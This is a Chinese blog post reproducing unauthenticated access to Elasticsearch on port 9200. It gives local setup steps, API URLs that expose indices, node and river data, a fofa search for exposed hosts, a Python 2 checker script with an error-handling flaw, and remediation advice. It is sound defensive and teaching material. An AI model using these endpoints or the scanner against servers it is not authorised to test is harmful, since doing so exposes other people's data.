ElasticSearch未授权访问漏洞复现
Posted 水中煮鱼冒气
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ElasticSearch未授权访问漏洞复现相关的知识,希望对你有一定的参考价值。
文章目录
漏洞介绍
- Elasticsearch是一个基于Lucene的搜索服务器。
- 它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。
- Elasticsearch是用Java语言开发的,并作为Apache许可条款下的开放源码发布,
- 是一种流行的企业级搜索引擎。
- Elasticsearch用于云计算中,能够达到实时搜索,稳定,可靠,快速,安装使用方便
漏洞原理
- Elasticsearch会默认会在9200端口对外开放,用于提供远程管理数据的功能。
- 任何连接到服务器端口上的人,都可以调用相关API对服务器上的数据进行任意的增删改查。
影响版本
- fofa搜索开放了9200端口的IP
环境搭建
第一步 下载文件,保证环境中有jdk1.7+
https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-5.5.0.zip
第二步 解压elasticsearch安装包
第三步 更改内存大小,否则无法启动
-Xms256m
-Xmx256m
第四步 进入bin 目录,双击执行 elasticsearch.bat
第五步 访问http://localhost:9200/,出现以下页面,说明安装成功。
漏洞复现
第一步 查看安装river
http://localhost:9200/_cat/indices里面的indices包含了_river一般就是安装了river
第二步 查看数据库敏感信息
http://localhost:9200/_river/_search 查看数据库敏感信息
第三步 查看节点数据
http://localhost:9200/_nodes 查看节点数据
第四步 查看安装head插件
http://localhost:9200/_plugin/head/ web管理界面
python未授权访问脚本
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
def Elasticsearch_check(ip, port=9200, timeout=5):
try:
url = "http://"+ip+":"+str(port)+"/_cat"
response = requests.get(url)
except:
pass
if "/_cat/master" in response.content:
print '[+] Elasticsearch Unauthorized: ' +ip+':'+str(port)
if __name__ == '__main__':
Elasticsearch_check("127.0.0.1")
修复建议
-
9200端口不要对外开放,如需开放,建议在安全组限制只允许指定IP才能访问9200端口;
-
限制IP访问,绑定固定IP
-
在config/elasticsearch.yml中为9200端口设置认证,相关配置参数可参考:
http.basic.enabled true #启动认证,开启会接管全部HTTP连接
http.basic.user "admin" #配置认证账号
http.basic.password "admin_pw" #配置认证密码
http.basic.ipwhitelist ["localhost", "127.0.0.1"]
- 使用nginx搭建反向代理,通过配置Nginx实现对Elasticsearch的认证;
点击 下载–>
下载
以上是关于ElasticSearch未授权访问漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章